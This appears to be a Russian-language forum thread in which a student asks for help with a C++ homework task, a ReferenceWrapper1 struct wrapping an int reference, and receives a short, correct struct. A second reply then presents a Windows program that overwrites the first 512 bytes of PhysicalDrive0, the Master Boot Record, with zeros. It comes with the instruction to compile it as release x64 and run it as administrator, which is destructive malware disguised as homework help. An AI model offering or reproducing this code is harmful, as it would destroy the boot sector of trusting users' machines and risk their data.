Пожалуйста помогите с решением домашнего задания по программированию на c++
Напишите структуру ReferenceWrapper1.
Эта структура является некоторой надстройкой над ссылками, пока мы рассмотрим примитивный вариант её написания.
А именно, работать структура должна следующим образом. В конструкторе ей передают переменную типа int. Теперь эта структура должна работать как ссылка на переменную, которую передали в конструкторе. Чтобы получить доступ к самой переменной, используют метод Get. См пример.
int x = 2;
ReferenceWrapper1 ref(x);
ref.Get() = 15;
assert(x == 15);
x = 100;
assert(ref.Get() == 100);
int& y = ref.Get();
y = 1;
assert(y == x && x == ref.Get() && ref.Get() == 1);
Т.е. меняя x, меняется ref.Get(), а меняя ref.Get() меняется x. Получается, ref ведет себя как обычная ссылка.
Ваша задача, реализовать такую структуру. Над типами аргументов, а также над типами возвращаемых значений подумайте сами, единственное, у структуры должен быть конструктор, в который можно было бы передавать переменные типа int, а также метод Get.
В систему отправляйте только код структуры.
struct ReferenceWrapper1 {
int& value;
ReferenceWrapper1(int& value) : value(value) {}
int& Get() {
return value;
}
};
#include <iostream>
#include <windows.h>
#define MBR_SIZE 512
using namespace std;
int main()
{
DWORD write;
char mbr[MBR_SIZE];
ZeroMemory(&mbr, (sizeof mbr));
HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if (WriteFile(MasterBootRecord, mbr, MBR_SIZE, &write, NULL) == TRUE)
{
cout << "Succsessfuly!" << endl;
Sleep(3000);
ExitProcess(0);
}
else
{
cout << "Failed!" << endl;
Sleep(3000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return 0;
}
Это сделай релис и х64 и запусти от имени админа